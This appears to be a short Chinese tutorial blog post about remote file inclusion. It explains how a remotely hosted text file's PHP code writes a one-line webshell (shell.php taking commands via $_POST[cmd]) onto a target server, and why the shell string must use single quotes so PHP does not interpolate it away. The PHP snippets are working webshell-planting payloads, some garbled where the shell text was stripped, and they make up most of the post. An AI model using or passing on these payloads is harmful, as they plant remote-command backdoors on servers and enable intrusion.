远程包含shell时,上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)

远程包含shell
需要allow_url_open=On,才可以尝试远程包含一句话木马:

http://www.xxx.com/echo.txt, 代码如下。


fputs (fopen("shell.php","w"),'')
?>

或者


$b='';
$a=fopen('shell.php','w');
fputs($a,$b);
fclose($a);
?>

其中出现了报错,实际是因为一开始的代码是这样的。归根结底是单引号和双引号的问题


fputs (fopen("shell.php","w"),"$_POST[cmd]);?>")
?>

双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。 单引号里面的不进行解释,直接输出。 通俗点来说就是双引号里的变量会执行,单引号里的不会执行,相当于字符串 如果把一句话木马用双引号包起来,那么执行php代码的时候,他会执行$_POST[cmd],又因为没有POST没有接收到值所以变空。
远程包含shell时,上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)_第1张图片
如果变为单引号,执行php代码时则为:
远程包含shell时,上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)_第2张图片

你可能感兴趣的:(常见问题解决)